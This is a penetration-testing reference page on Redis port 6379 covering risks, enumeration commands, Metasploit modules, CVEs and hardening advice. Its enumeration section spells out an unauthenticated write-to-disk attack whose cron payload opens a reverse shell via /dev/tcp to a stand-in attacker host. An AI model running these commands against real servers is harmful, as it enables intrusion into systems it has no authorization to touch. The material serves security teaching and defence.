Port 6379 – Redis

Port 6379 is the default port for Redis, an in-memory key-value data store used as a cache, session store, message broker, and queue — the TCP port the redis-server process listens on for client commands over the RESP protocol. Because Redis holds an application’s hottest data (sessions, tokens, API responses, job queues) and, in its classic configuration, ships with no authentication at all, an exposed port 6379 is one of the highest-value findings on a network: reach it and you can usually read and rewrite the whole dataset — and, with a few CONFIG SET commands, write files to disk and get code execution on the host. The drop-in forks Valkey and KeyDB use the same port and wire protocol, so everything here applies to them too.

Why It’s Open

Redis sits behind a huge share of modern web apps as the fast path in front of the database — caching, session storage, rate limiting, leaderboards, pub/sub, and the backing store for job queues like Sidekiq, Celery, and BullMQ. In a healthy design it lives on localhost or a private app-tier network and only ever answers internal clients. The port becomes a problem when it’s bound to 0.0.0.0 with no password — a default in some container images and quick-start guides, a leftover from local development, or the result of a cloud security group that’s wider than anyone intended. Where Redis is exposed, its data-store siblings often are too: check for Memcached on port 11211 — its closest in-memory cousin — along with MySQL/MariaDB on port 3306, PostgreSQL on 5432, and MongoDB on 27017.

Common Risks

• No authentication by default. The classic finding. Out of the box, Redis requires no password, so anyone who can reach 6379 just runs redis-cli -h <target> and has full read/write control of every key. INFO reveals the version, OS, and configuration; KEYS * or SCAN dumps the entire dataset; SET/DEL/FLUSHALL modify or destroy it.
• Exposed to the internet. Redis was never meant to face the public network. Once 6379 is reachable it’s subject to constant automated scanning, mass data-wiping (“meow”-style attacks), and ransom/cryptomining campaigns — tens of thousands of open instances are visible on Shodan at any time.
• Unauthenticated write-to-disk → RCE. The signature Redis technique. An attacker who can issue commands abuses CONFIG SET dir + CONFIG SET dbfilename + SAVE/BGSAVE to write an attacker-controlled RDB file anywhere the redis user can write — dropping an SSH authorized_keys file, a cron job in /var/spool/cron, or a webshell into a web root, all leading to code execution as the redis user.
• MODULE LOAD command execution. Where module loading is allowed, loading a malicious native .so (e.g. via redis-rogue-server) runs attacker code directly inside the server process.
• Replication (rogue master) RCE. An attacker can point a target at a rogue master with SLAVEOF/REPLICAOF, then push a malicious module over the replication stream for direct command execution.
• Sensitive data at rest. Session IDs, JWTs, password-reset tokens, API keys, and cached PII frequently sit in Redis in plaintext — a full SCAN is often an instant session-hijack or credential harvest.
• Weak protected-mode assumptions. protected-mode (on by default since 3.2) blocks external clients only when there’s no password and no explicit bind — operators routinely disable it or set a trivially guessable requirepass, and Redis 6+ ACLs go unused.
• Cleartext by default. Before Redis 6, and wherever TLS isn’t configured, commands and any AUTH password cross the network unencrypted and can be sniffed on the path.

Want to save time on reporting?

Let PentestPad generate, track, and export your reports - automatically.

Book a Demo

Enumeration & Testing

Detect the service and grab the version banner

nmap -sV -p 6379 <target>

Run the Redis NSE scripts

nmap -p 6379 --script redis-info,redis-brute <target>

redis-info pulls the version, architecture, and configuration from an unauthenticated instance; redis-brute performs password guessing when requirepass is set.

Connect with the native client

redis-cli -h <target> ping          # PONG with no AUTH = unauthenticated
redis-cli -h <target> info          # version, OS, config, connected clients
redis-cli -h <target> config get *  # full running configuration
redis-cli -h <target> --scan        # enumerate keys without blocking (safer than KEYS *)
redis-cli -h <target> acl whoami    # Redis 6+: current ACL user

Metasploit modules

msfconsole -q
# Credential brute-force / auth check
use auxiliary/scanner/redis/redis_login
set RHOSTS <target>
run

# Run an arbitrary Redis command against discovered endpoints
use auxiliary/scanner/redis/redis_server
set RHOSTS <target>
run

# Write a file to disk via the RDB save primitive
use auxiliary/scanner/redis/file_upload
set RHOSTS <target>
run

Unauthenticated write-to-disk to RCE

# Relocate the RDB file and save a payload where it will execute
redis-cli -h <target> config set dir /var/spool/cron/
redis-cli -h <target> config set dbfilename root
redis-cli -h <target> set x "\n* * * * * bash -i >& /dev/tcp/attacker/4444 0>&1\n"
redis-cli -h <target> save

For the replication/module path, the public redis-rogue-server tool automates SLAVEOF + MODULE LOAD for a direct shell (weaponised in Metasploit and archived as Exploit-DB 48272). Log every open instance, working credential, and dumped key as you go so it lands in the pentest report instead of a scratch terminal.

What to Look For

Known CVEs and Exploits

• CVE-2022-0543 — The flagship Redis vulnerability. A packaging flaw in the Debian/Ubuntu Redis builds leaves the Lua interpreter’s package module reachable, allowing a Lua sandbox escape and remote code execution — no memory corruption required. Actively exploited by the Muhstik and Redigo botnets and listed in CISA’s Known Exploited Vulnerabilities catalog. CVSS 3.1 10.0, CWE-862.
• CVE-2021-32626 — Lua scripting heap overflow. A specially crafted Lua script overflows the heap-based Lua stack because of incomplete bounds checks, causing heap corruption and potential remote code execution. Unlike CVE-2022-0543 this affects upstream Redis on all platforms (2.6.0–5.0.13, 6.0.0–6.0.15, 6.2.0–6.2.5; fixed in 5.0.14 / 6.0.16 / 6.2.6). CVSS 3.1 8.8, CWE-787.
• CVE-2024-31449 — A recent one: an authenticated user runs a crafted Lua script that triggers a stack buffer overflow in the bit library, potentially leading to remote code execution. Affects 2.8.18 through 7.4.0; fixed in 6.2.16, 7.2.6, and 7.4.1. CVSS 3.1 8.8, CWE-121.
• CVE-2018-11218 — Memory corruption in the cmsgpack Lua library via stack-based buffer overflows, reachable through the scripting engine on an unauthenticated instance. Affects Redis before 3.2.12, 4.x before 4.0.10, and 5.x before 5.0 RC2. CVSS 3.0 9.8, CWE-787.

Three of the most useful techniques against an exposed Redis are features, not CVEs, and belong on any checklist:

• Write-to-disk RCE via CONFIG SET. CONFIG SET dir + CONFIG SET dbfilename + SAVE writes the RDB dump to a chosen path — an SSH authorized_keys file, a cron entry, or a webshell in a writable web root — giving code execution as the redis account.
• MODULE LOAD command execution. Loading a malicious native module runs attacker code inside the server process directly.
• Rogue-master replication. SLAVEOF/REPLICAOF a machine you control, then push a malicious module over the replication stream (redis-rogue-server, Exploit-DB 48272) for a shell.

Mitigation

• Never expose 6379 to the internet. Bind Redis to 127.0.0.1 or an internal address (bind 127.0.0.1 ::1), keep it on the app tier or a private subnet, and firewall the port to known clients only.
• Require authentication. Set a strong requirepass, and on Redis 6+ define per-service ACL users with the minimum command and key permissions they need instead of one shared password.
• Keep protected-mode on. Leave it enabled so an instance with no password and no explicit bind refuses external clients.
• Rename or disable dangerous commands. Use rename-command to disable CONFIG, MODULE, SLAVEOF/REPLICAOF, EVAL, FLUSHALL, FLUSHDB, DEBUG, and SAVE/BGSAVE where applications don’t need them — this closes the write-to-disk and module RCE paths.
• Run unprivileged with nothing to overwrite. Ensure redis-server runs as a dedicated low-privilege user with no writable SSH directory, cron spool, or web root, so a stray file write can’t become host access.
• Require TLS. On Redis 6+ enable TLS so commands and the AUTH password aren’t sniffable.
• Patch and monitor. Keep Redis current (CVE-2022-0543 and the Lua bugs are all fixed upstream), and alert on unexpected CONFIG, SLAVEOF, MODULE, or mass-key operations.

Real-World Example

In 2022, Juniper Threat Labs documented Redigo, a stealthy Go-based backdoor whose entire delivery mechanism was internet-facing Redis on port 6379. The operators scanned for open instances and exploited CVE-2022-0543 — the Debian/Ubuntu Lua sandbox escape — to run commands, drop the malware, and quietly persist for later use. It was the same playbook the Muhstik botnet had already been running at scale against exposed Redis for cryptomining and DDoS. Neither campaign needed a stolen credential or a zero-day: just an open 6379 and a known bug. It’s a clean illustration of why the two headline Redis risks — internet exposure and unauthenticated command access — matter so much together, and years earlier the same exposure was being turned into root via the CONFIG SET SSH-key trick with no CVE at all.

FAQ

What is port 6379 used for?

Port 6379 is the default TCP port for Redis, an in-memory key-value data store used as a cache, session store, message broker, and job queue. Applications connect to it over the RESP protocol to read and write keys. In a secure setup it’s only reachable from the application server or localhost, never the public internet.

Is port 6379 dangerous?

It is when it’s exposed. Classic Redis has no authentication by default, so anyone who can reach an open 6379 can read and rewrite every key — and, via CONFIG SET write-to-disk or MODULE LOAD, often get code execution on the host. Port 6379 should be firewalled to trusted clients, protected with a strong password or ACLs, and never left open to the world.

What service runs on port 6379?

Redis (redis-server), along with its drop-in forks Valkey and KeyDB, which share the same port and RESP wire protocol. Managed Redis offerings from cloud providers use the same default port.

How do I secure or close port 6379?

Bind Redis to 127.0.0.1 or an internal address, firewall 6379 to known clients, set a strong requirepass (or Redis 6+ ACL users), keep protected-mode on, rename or disable CONFIG/MODULE/SLAVEOF/EVAL, run the server as an unprivileged user, require TLS, and patch. If nothing external needs Redis, make sure the port isn’t reachable off-host and confirm with a rescan.

TL;DR

• Service: Redis in-memory key-value data store (redis-server; also Valkey, KeyDB)
• Default port: 6379/TCP
• Biggest risk: internet exposure with no authentication, escalating to host RCE via CONFIG SET write-to-disk, MODULE LOAD, or Lua CVEs like CVE-2022-0543
• Mitigation: bind to localhost/internal, firewall to trusted clients, require a strong password/ACLs, keep protected-mode on, rename dangerous commands, run unprivileged, require TLS, patch